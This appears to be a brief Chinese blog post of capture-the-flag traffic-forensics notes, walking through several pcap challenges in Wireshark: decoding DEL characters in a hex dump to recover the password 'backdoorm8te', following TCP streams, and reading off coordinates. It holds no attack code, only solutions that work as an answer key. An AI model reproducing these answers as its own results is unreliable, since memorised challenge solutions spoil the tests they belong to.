直接提交password发现不对,想到wireshark里面乱码字符都用.替代,可能这几个点有问题

右下角hex转储,会显示十六进制,ascll码和原数据,7f是del键,0d是换行

三个del将00R删了,一个del将a删了,最后backdoorm8te


pcap.pcapng

啥信息没有,看wp说搜password,然后追踪流咯


easycap.pcap

全是tcp包,简单看一下几个包

发现每个包返回一字节数据,追踪一下流,结束,真题目easy了


first_contact.pcap

追踪一下tcp流

37 14'06"N 115 48'40"W


problem.pcap

不想说了,一个包

posted @ 2023-12-20 23:38  ^cyi^  阅读(140)  评论(0编辑  收藏  举报